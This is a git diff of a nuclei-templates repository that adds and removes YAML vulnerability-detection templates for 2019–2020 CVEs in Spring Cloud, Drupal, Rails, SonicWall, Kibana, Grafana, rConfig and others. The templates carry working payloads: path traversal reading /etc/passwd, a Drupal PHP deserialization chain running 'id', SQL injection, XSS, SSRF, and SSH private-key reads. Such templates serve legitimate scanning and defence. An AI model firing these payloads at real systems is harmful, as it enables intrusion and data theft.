{{Hostname}} + Referer: {{Hostname}} + + {"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}} + + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + words: + - "contextConfigLocation" diff --git a/nuclei-templates/CVE-2019/cve-2019-3799.yaml b/nuclei-templates/CVE-2019/cve-2019-3799.yaml new file mode 100644 index 0000000000..f4c662a765 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-3799.yaml @@ -0,0 +1,29 @@ +id: CVE-2019-3799 +info: + name: Spring-Cloud-Config-Server Directory Traversal + author: madrobot + severity: medium + description: Spring Cloud Config, versions 2.1.x prior to 2.1.2, versions 2.0.x prior to 2.0.4, and versions 1.4.x prior to 1.4.6, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead a directory traversal attack. + reference: + - https://github.com/mpgn/CVE-2019-3799 + - https://pivotal.io/security/cve-2019-3799 + tags: cve,cve2019,lfi + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N + cvss-score: 6.50 + cve-id: CVE-2019-3799 + cwe-id: CWE-22 + +requests: + - method: GET + path: + - "{{BaseURL}}/test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: regex + regex: + - 'root:.*:0:0:' + part: body diff --git a/nuclei-templates/CVE-2019/cve-2019-3911.yaml b/nuclei-templates/CVE-2019/cve-2019-3911.yaml deleted file mode 100644 index eee6c098ba..0000000000 --- a/nuclei-templates/CVE-2019/cve-2019-3911.yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-2019-3911 - -info: - name: LabKey Server < 18.3.0 - XSS - author: princechaddha - severity: medium - description: Reflected cross-site scripting (XSS) vulnerability in LabKey Server Community Edition before 18.3.0-61806.763 allows an unauthenticated remote attacker to inject arbitrary javascript via the onerror parameter in the /__r2/query endpoints. - reference: - - https://www.tenable.com/security/research/tra-2019-03 - - https://www.cvedetails.com/cve/CVE-2019-3911 - metadata: - shodan-query: "Server: Labkey" - tags: cve,cve2019,xss,labkey - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2019-3911 - cwe-id: CWE-79 - -requests: - - method: GET - path: - - '{{BaseURL}}/__r2/query-printRows.view?schemaName=ListManager&query.queryName=ListManager&query.sort=Nameelk5q%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ezp59r&query.containerFilterName=CurrentAndSubfolders&query.selectionKey=%24ListManager%24ListManager%24%24query&query.showRows=ALL' - - matchers-condition: and - matchers: - - type: word - part: body - words: - - "" - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2019/cve-2019-3912.yaml b/nuclei-templates/CVE-2019/cve-2019-3912.yaml new file mode 100644 index 0000000000..6861b43f27 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-3912.yaml @@ -0,0 +1,29 @@ +id: CVE-2019-3912 + +info: + name: LabKey Server < 18.3.0 - Open redirect + author: 0x_Akoko + severity: medium + description: An open redirect vulnerability in LabKey Server Community Edition before 18.3.0-61806.763 via the /__r1/ returnURL parameter allows an unauthenticated remote attacker to redirect users to arbitrary web sites. + reference: + - https://www.tenable.com/security/research/tra-2019-03 + - https://www.cvedetails.com/cve/CVE-2019-3912 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2019-3912 + cwe-id: CWE-601 + metadata: + shodan-query: "Server: Labkey" + tags: cve,cve2019,redirect,labkey + +requests: + - method: GET + path: + - '{{BaseURL}}/labkey/__r1/login-login.view?returnUrl=http://example.com' + + matchers: + - type: regex + part: header + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)example\.com\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 diff --git a/nuclei-templates/CVE-2019/cve-2019-5418.yaml b/nuclei-templates/CVE-2019/cve-2019-5418.yaml new file mode 100644 index 0000000000..6ce78b0c7b --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-5418.yaml @@ -0,0 +1,31 @@ +id: CVE-2019-5418 + +info: + name: File Content Disclosure on Rails + author: omarkurt + severity: high + description: There is a File Content Disclosure vulnerability in Action View <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 and v3 where specially crafted accept headers can cause contents of arbitrary files on the target system's file system to be exposed. + reference: + - https://github.com/omarkurt/CVE-2019-5418 + - https://weblog.rubyonrails.org/2019/3/13/Rails-4-2-5-1-5-1-6-2-have-been-released/ + tags: cve,cve2019,rails,lfi,disclosure + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2019-5418 + +requests: + - method: GET + path: + - "{{BaseURL}}" + headers: + Accept: ../../../../../../../../etc/passwd{{ + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: regex + regex: + - "root:.*:0:0:" + part: body diff --git a/nuclei-templates/CVE-2019/cve-2019-6340.yaml b/nuclei-templates/CVE-2019/cve-2019-6340.yaml new file mode 100644 index 0000000000..c7691882b1 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-6340.yaml @@ -0,0 +1,46 @@ +id: CVE-2019-6340 + +info: + name: Drupal 8 core RESTful Web Services RCE + author: madrobot + severity: high + description: Some field types do not properly sanitize data from non-form sources in Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10. This can lead to arbitrary PHP code execution in some cases. + reference: https://nvd.nist.gov/vuln/detail/CVE-2019-6340 + tags: cve,cve2019,drupal,rce + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.10 + cve-id: CVE-2019-6340 + cwe-id: CWE-502 + +requests: + - method: POST + path: + - '{{BaseURL}}/node/1?_format=hal_json' + + body: '{ + "link": [ + { + "value": "link", + "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" + } + ], + "_links": { + "type": { + "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default" + } + } +}' + + matchers-condition: and + matchers: + - type: word + words: + - "uid=" + - "gid=" + - "groups=" + condition: and + part: body + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2019/CVE-2019-7219.yaml b/nuclei-templates/CVE-2019/cve-2019-7219.yaml similarity index 100% rename from nuclei-templates/CVE-2019/CVE-2019-7219.yaml rename to nuclei-templates/CVE-2019/cve-2019-7219.yaml diff --git a/nuclei-templates/CVE-2019/cve-2019-7481.yaml b/nuclei-templates/CVE-2019/cve-2019-7481.yaml new file mode 100644 index 0000000000..7d6021e2bb --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-7481.yaml @@ -0,0 +1,33 @@ +id: CVE-2019-7481 + +info: + name: sonicwall sra 4600 vpn pre-authenticated sql injection + author: _darrenmartyn + severity: high + description: | + The SonicWall SRA 4600 VPN appliance suffers a pre-authentication SQL injection vulnerability. + reference: + - https://www.crowdstrike.com/blog/how-ecrime-groups-leverage-sonicwall-vulnerability-cve-2019-7481/ + tags: cve,cve2019,sonicwall,sqli + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.50 + cve-id: CVE-2019-7481 + cwe-id: CWE-200 + +requests: + - raw: + - | + POST /cgi-bin/supportInstaller HTTP/1.1 + Host: {{Hostname}} + Accept-Encoding: identity + User-Agent: MSIE + Content-Type: application/x-www-form-urlencoded + + fromEmailInvite=1&customerTID=unpossible'+UNION+SELECT+0,0,0,11132*379123,0,0,0,0-- + + matchers: + - type: word + words: + - "4220397236" + part: body diff --git a/nuclei-templates/CVE-2019/cve-2019-7609.yaml b/nuclei-templates/CVE-2019/cve-2019-7609.yaml new file mode 100644 index 0000000000..8621f4e5a1 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-7609.yaml @@ -0,0 +1,41 @@ +id: CVE-2019-7609 + +info: + name: Kibana Timelion Arbitrary Code Execution + author: dwisiswant0 + severity: critical + description: Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. An attacker with access to the Timelion application could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system. + reference: + - https://github.com/mpgn/CVE-2019-7609 + - https://discuss.elastic.co/t/elastic-stack-6-6-1-and-5-6-15-security-update/169077 + tags: cve,cve2019,kibana,rce + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.00 + cve-id: CVE-2019-7609 + cwe-id: CWE-94 + +requests: + - method: POST + path: + - "{{BaseURL}}/api/timelion/run" + headers: + Content-Type: "application/json; charset=utf-8" + + body: '{"sheet":[".es(*)"],"time":{"from":"now-1m","to":"now","mode":"quick","interval":"auto","timezone":"Asia/Shanghai"}}' + + matchers-condition: and + matchers: + - type: word + words: + - "seriesList" + part: body + + - type: word + words: + - "application/json" + part: header + + - type: status + status: + - 200 \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/CVE-2019-8937.yaml b/nuclei-templates/CVE-2019/cve-2019-8937.yaml similarity index 100% rename from nuclei-templates/CVE-2019/CVE-2019-8937.yaml rename to nuclei-templates/CVE-2019/cve-2019-8937.yaml diff --git a/nuclei-templates/CVE-2019/cve-2019-8982.yaml b/nuclei-templates/CVE-2019/cve-2019-8982.yaml deleted file mode 100644 index 63269422cc..0000000000 --- a/nuclei-templates/CVE-2019/cve-2019-8982.yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: CVE-2019-8982 -info: - name: Wavemaker Studio 6.6 LFI/SSRF - author: madrobot - severity: critical - description: com/wavemaker/studio/StudioService.java in WaveMaker Studio 6.6 mishandles the studioService.download?method=getContent&inUrl= value, leading to disclosure of local files and SSRF. - reference: https://www.exploit-db.com/exploits/45158 - tags: cve,cve2019,wavemaker,lfi,ssrf - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - cvss-score: 9.60 - cve-id: CVE-2019-8982 - cwe-id: CWE-918 - -requests: - - method: GET - path: - - "{{BaseURL}}/wavemaker/studioService.download?method=getContent&inUrl=file///etc/passwd" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - "root:.*:0:0:" - part: body diff --git a/nuclei-templates/CVE-2019/cve-2019-9041.yaml b/nuclei-templates/CVE-2019/cve-2019-9041.yaml new file mode 100644 index 0000000000..05c0ba21cc --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-9041.yaml @@ -0,0 +1,36 @@ +id: CVE-2019-9041 + +info: + name: ZZZCMS 1.6.1 RCE + author: pikpikcu + severity: high + description: An issue was discovered in ZZZCMS zzzphp V1.6.1. In the inc/zzz_template.php file, the parserIfLabel() function's filtering is not strict, resulting in PHP code execution, as demonstrated by the if:assert substring. + reference: + - http://www.iwantacve.cn/index.php/archives/118/ + - https://www.exploit-db.com/exploits/46454/ + tags: cve,cve2019,zzzcms,rce + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.20 + cve-id: CVE-2019-9041 + cwe-id: CWE-917 + +requests: + - method: POST + path: + - "{{BaseURL}}/search/" + headers: + Content-Type: application/x-www-form-urlencoded + body: | + keys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if} + + matchers-condition: and + matchers: + - type: word + words: + - "phpinfo" + - "PHP Version" + part: body + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2019/cve-2019-9922.yaml b/nuclei-templates/CVE-2019/cve-2019-9922.yaml deleted file mode 100644 index caff895c05..0000000000 --- a/nuclei-templates/CVE-2019/cve-2019-9922.yaml +++ /dev/null @@ -1,45 +0,0 @@ -id: CVE-2019-9922 - -info: - name: Joomla! Harmis Messenger 1.2.2 - Local File Inclusion - author: 0x_Akoko - severity: high - description: Joomla! Harmis Messenger 1.2.2 is vulnerable to local file inclusion which could give an attacker read access to arbitrary files. - impact: | - Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! application. - remediation: | - Update to the latest version of Harmis Messenger (1.2.3) or apply the patch provided by the vendor to fix the LFI vulnerability. - reference: - - https://github.com/azd-cert/CVE/blob/master/CVEs/CVE-2019-9922.md - - https://extensions.joomla.org/extension/je-messenger/ - - https://nvd.nist.gov/vuln/detail/CVE-2019-9922 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2019-9922 - cwe-id: CWE-22 - epss-score: 0.01171 - epss-percentile: 0.83428 - cpe: cpe:2.3:a:harmistechnology:je_messenger:1.2.2:*:*:*:*:joomla\!:*:* - metadata: - max-request: 1 - vendor: harmistechnology - product: je_messenger - framework: joomla\! - tags: cve2019,cve,joomla,messenger,lfi,harmistechnology,joomla\! - -http: - - method: GET - path: - - "{{BaseURL}}/index.php/component/jemessenger/box_details?task=download&dw_file=../../.././../../../etc/passwd" - - matchers-condition: and - matchers: - - type: regex - regex: - - "root:[x*]:0:0" - - - type: status - status: - - 200 -# digest: 4a0a00473045022025eb2b749f69315baa135f24019ef15db3c396a62f1595cbb6af53dc14d7aae8022100cde31cfbe066dad7ce440cdc4f4ee06dc3da7c57a7185cf726aaf72c7d6149a8:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/CVE-2020-0618.yaml b/nuclei-templates/CVE-2020/CVE-2020-0618.yaml new file mode 100644 index 0000000000..bff85baab4 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-0618.yaml @@ -0,0 +1,33 @@ +id: CVE-2020-0618 +info: + name: Microsoft SQL Server Reporting Services - Remote Code Execution + author: joeldeleep + severity: high + description: Microsoft SQL Server Reporting Services are susceptible to a remote code execution vulnerability when it incorrectly handles page requests. + reference: + - https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/ + - https://github.com/euphrat1ca/CVE-2020-0618 + - https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0618 + - http://packetstormsecurity.com/files/156707/SQL-Server-Reporting-Services-SSRS-ViewState-Deserialization.html + - https://nvd.nist.gov/vuln/detail/CVE-2020-0618 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2020-0618 + cwe-id: CWE-502 + tags: cve,cve2020,rce +requests: + - method: GET + path: + - "{{BaseURL}}/ReportServer/Pages/ReportViewer.aspx" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "view report" + part: body + +# Enhanced by mp on 2022/07/08 diff --git a/nuclei-templates/CVE-2020/CVE-2020-10124.yaml b/nuclei-templates/CVE-2020/CVE-2020-10124.yaml new file mode 100644 index 0000000000..065a434919 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-10124.yaml @@ -0,0 +1,31 @@ +id: CVE-2020-10124 +info: + name: SolarWindsOrion LFI + author: medbsq + severity: medium +#- https://www.cvebase.com/cve/2019/11043 + +requests: + - method: GET + path: + - "{{BaseURL}}/web.config.i18n.ashx?l=j&v=j" + - "{{BaseURL}}/SWNetPerfMon.db.i18n.ashx?l=j&v=j" + headers: + User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3984.0 Safari/537.36 + matchers-condition: and + matchers: + - type: word + words: + - "SolarWinds.Orion.Core.Common." + - "Connection String" + condition: or + part: body + - type: word + words: + - "text/plain" + - "SolarWindsOrionDatabaseUser" + condition: or + part: header + - type: status + status: + - 200 diff --git a/nuclei-templates/CVE-2020/CVE-2020-10548.yaml b/nuclei-templates/CVE-2020/CVE-2020-10548.yaml deleted file mode 100644 index b053bfb21f..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-10548.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2020-10548 - -info: - name: rConfig 3.9.4 - SQL Injection - author: madrobot - severity: critical - description: rConfig 3.9.4 and previous versions have unauthenticated devices.inc.php SQL injection. Because nodes' passwords are stored in cleartext by default, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices. - reference: - - https://github.com/theguly/exploits/blob/master/CVE-2020-10548.py - - https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/ - - https://nvd.nist.gov/vuln/detail/CVE-2020-10548 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-10548 - cwe-id: CWE-89,CWE-522 - cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:* - epss-score: 0.37886 - tags: cve,cve2020,rconfig,sqli - metadata: - max-request: 1 - -http: - - method: GET - path: - - "{{BaseURL}}/devices.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL+--+&searchColumn=n.id&searchOption=contains" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "[project-discovery]" - part: body - -# Enhanced by mp on 2022/04/07 diff --git a/nuclei-templates/CVE-2020/CVE-2020-10549.yaml b/nuclei-templates/CVE-2020/CVE-2020-10549.yaml deleted file mode 100644 index 40989ec875..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-10549.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2020-10549 - -info: - name: rConfig <=3.9.4 - SQL Injection - author: madrobot - severity: critical - description: rConfig 3.9.4 and prior has unauthenticated snippets.inc.php SQL injection. Because nodes' passwords are stored in cleartext by default, this vulnerability leads to lateral movement, granting an attacker access to monitored network devices. - reference: - - https://github.com/theguly/exploits/blob/master/CVE-2020-10549.py - - https://theguly.github.io/2020/09/rconfig-3.9.4-multiple-vulnerabilities/ - - https://nvd.nist.gov/vuln/detail/CVE-2020-10549 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-10549 - cwe-id: CWE-89,CWE-522 - cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:* - epss-score: 0.37886 - tags: cve,cve2020,rconfig,sqli - metadata: - max-request: 1 - -http: - - method: GET - path: - - "{{BaseURL}}/snippets.inc.php?search=True&searchField=antani'+union+select+(select+concat(0x223e3c42523e5b70726f6a6563742d646973636f766572795d)+limit+0,1),NULL,NULL,NULL+--+&searchColumn=snippetName&searchOption=contains" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "[project-discovery]" - part: body - -# Enhanced by mp on 2022/04/21 diff --git a/nuclei-templates/CVE-2020/CVE-2020-10770.yaml b/nuclei-templates/CVE-2020/CVE-2020-10770.yaml new file mode 100644 index 0000000000..038e92f4d5 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-10770.yaml @@ -0,0 +1,29 @@ +id: CVE-2020-10770 + +info: + name: Keycloak 12.0.1 - 'request_uri ' Blind Server-Side Request Forgery (SSRF) (Unauthenticated) + author: dhiyaneshDk + severity: medium + description: A flaw was found in Keycloak before 13.0.0, where it is possible to force the server to call out an unverified URL using the OIDC parameter request_uri. This flaw allows an attacker to use this parameter to execute a Server-side request forgery (SSRF) attack. + reference: + - https://packetstormsecurity.com/files/164499/Keycloak-12.0.1-Server-Side-Request-Forgery.html + - https://www.exploit-db.com/exploits/50405 + - https://nvd.nist.gov/vuln/detail/CVE-2020-10770 + - https://bugzilla.redhat.com/show_bug.cgi?id=1846270 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N + cvss-score: 5.3 + cve-id: CVE-2020-10770 + cwe-id: CWE-601 + tags: keycloak,ssrf,oast,cve,cve2020,blind + +requests: + - method: GET + path: + - '{{BaseURL}}/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{{interactsh-url}}/' + + matchers: + - type: word + part: interactsh_protocol # Confirms the HTTP Interaction + words: + - "http" diff --git a/nuclei-templates/CVE-2020/CVE-2020-11110.yaml b/nuclei-templates/CVE-2020/CVE-2020-11110.yaml deleted file mode 100644 index 095ae204c6..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-11110.yaml +++ /dev/null @@ -1,64 +0,0 @@ -id: CVE-2020-11110 - -info: - name: Grafana <= 6.7.1 - Cross-Site Scripting - author: emadshanab - severity: medium - description: Grafana through 6.7.1 contains an unauthenticated stored cross-site scripting vulnerability due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot. - reference: - - https://web.archive.org/web/20210717142945/https://ctf-writeup.revers3c.com/challenges/web/CVE-2020-11110/index.html - - https://github.com/grafana/grafana/pull/23254 - - https://security.netapp.com/advisory/ntap-20200810-0002/ - - https://nvd.nist.gov/vuln/detail/CVE-2020-11110 - - https://hackerone.com/reports/1329433 - remediation: This issue can be resolved by updating Grafana to the latest version. - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - cvss-score: 5.4 - cve-id: CVE-2020-11110 - cwe-id: CWE-79 - epss-score: 0.001 - metadata: - max-request: 1 - shodan-query: title:"Grafana" - tags: cve,cve2020,xss,grafana,hackerone - -http: - - raw: - - | - POST /api/snapshots HTTP/1.1 - Host: {{Hostname}} - Accept: application/json, text/plain, */* - Accept-Language: en-US,en;q=0.5 - Referer: {{BaseURL}} - content-type: application/json - Connection: close - - {"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0} - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: header - words: - - application/json - - - type: word - part: body - words: - - '"deleteKey":' - - '"deleteUrl":' - condition: and - - extractors: - - type: regex - part: body - group: 1 - regex: - - '"url":"([a-z:/0-9A-Z]+)"' - -# Enhanced by mp on 2022/09/02 diff --git a/nuclei-templates/CVE-2020/CVE-2020-11455.yaml b/nuclei-templates/CVE-2020/CVE-2020-11455.yaml deleted file mode 100644 index efb53e27c6..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-11455.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2020-11455 - -info: - name: LimeSurvey 4.1.11 - Path Traversal - author: daffainfo - severity: medium - description: LimeSurvey before 4.1.12+200324 contains a path traversal vulnerability in application/controllers/admin/LimeSurveyFileManager.php. - reference: - - https://www.exploit-db.com/exploits/48297 - - https://www.cvedetails.com/cve/CVE-2020-11455 - - https://github.com/LimeSurvey/LimeSurvey/commit/daf50ebb16574badfb7ae0b8526ddc5871378f1b - - http://packetstormsecurity.com/files/157112/LimeSurvey-4.1.11-Path-Traversal.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cve-id: CVE-2020-11455 - cwe-id: CWE-22 - tags: cve,cve2020,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/index.php/admin/filemanager/sa/getZipFile?path=/../../../../../../../etc/passwd" - - matchers-condition: and - matchers: - - - type: regex - regex: - - "root:.*:0:0:" - - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2020/CVE-2020-11529.yaml b/nuclei-templates/CVE-2020/CVE-2020-11529.yaml deleted file mode 100644 index ebb90a2a7b..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-11529.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: CVE-2020-11529 - -info: - name: Grav 1.7 Open Redirect - author: 0x_Akoko - severity: medium - description: Common/Grav.php in Grav before 1.7 has an Open Redirect. This is partially fixed in 1.6.23 and still present in 1.6.x. - reference: - - https://github.com/getgrav/grav/issues/3134 - - https://www.cvedetails.com/cve/CVE-2020-11529 - tags: cve,cve2019,redirect,grav.getgrav - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2020-11529 - cwe-id: CWE-601 - -requests: - - method: GET - - path: - - '{{BaseURL}}/%252f%255cexample.com%252fa%253fb/' - - matchers: - - type: regex - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?example\.com(?:\s*?)$' - part: header diff --git a/nuclei-templates/CVE-2020/CVE-2020-12116.yaml b/nuclei-templates/CVE-2020/CVE-2020-12116.yaml deleted file mode 100644 index 2aef7ea0b4..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-12116.yaml +++ /dev/null @@ -1,51 +0,0 @@ -id: CVE-2020-12116 - -info: - name: Zoho ManageEngine OpManger - Arbitrary File Read - author: dwisiswant0 - severity: high - description: Zoho ManageEngine OpManager Stable build before 124196 and Released build before 125125 allows an unauthenticated attacker to read arbitrary files on the server by sending a specially crafted request. - reference: - - https://github.com/BeetleChunks/CVE-2020-12116 - - https://nvd.nist.gov/vuln/detail/CVE-2020-12116 - - https://www.manageengine.com/network-monitoring/help/read-me-complete.html - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2020-12116 - cwe-id: CWE-22 - tags: cve,cve2020,zoho,lfi,manageengine - -requests: - - raw: - - | - GET / HTTP/1.1 - Host: {{Hostname}} - Accept: */* - Connection: close - - - | - GET {{endpoint}}../../../../bin/.ssh_host_rsa_key HTTP/1.1 - Host: {{Hostname}} - Accept: */* - Cache-Control: max-age=0 - Connection: close - Referer: http://{{Hostname}} - - extractors: - - type: regex - name: endpoint - part: body - internal: true - regex: - - "(?m)/cachestart/.*/jquery/" - - req-condition: true - matchers: - - type: dsl - dsl: - - 'contains(body_2, "BEGIN RSA PRIVATE KEY")' - - 'status_code_2 == 200' - condition: and - -# Enhanced by mp on 2022/05/04 diff --git a/nuclei-templates/CVE-2020/CVE-2020-13121.yaml b/nuclei-templates/CVE-2020/CVE-2020-13121.yaml new file mode 100644 index 0000000000..38db107834 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-13121.yaml @@ -0,0 +1,24 @@ +id: CVE-2020-13121 +info: + name: Submitty 20.04.01 - Open redirect + author: 0x_Akoko + severity: medium + description: Submitty through 20.04.01 has an open redirect via authentication/login?old= during an invalid login attempt. + reference: + - https://github.com/Submitty/Submitty/issues/5265 + - https://www.cvedetails.com/cve/CVE-2020-13121 + tags: cve,cve2020,redirect,submitty + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2020-13121 + cwe-id: CWE-601 +requests: + - method: GET + path: + - '{{BaseURL}}/authentication/login?old=http%3A%2F%2Flexample.com' + matchers: + - type: regex + regex: + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?example\.com(?:\s*?)$' + part: header diff --git a/nuclei-templates/CVE-2020/CVE-2020-13405.yaml b/nuclei-templates/CVE-2020/CVE-2020-13405.yaml deleted file mode 100644 index 9aae1f9bf7..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-13405.yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: CVE-2020-13405 -info: - name: MicroWeber - Unauthenticated User Database Disclosure - author: ritikchaddha,amit-jd - severity: high - description: | - The PHP code for controller.php run Laravel's dump and die function on the users database. Dump and die simply prints the contents of the entire PHP variable (in this case, the users database) out to HTML. - reference: - - https://rhinosecuritylabs.com/research/microweber-database-disclosure/ - - https://nvd.nist.gov/vuln/detail/CVE-2020-13405 - - 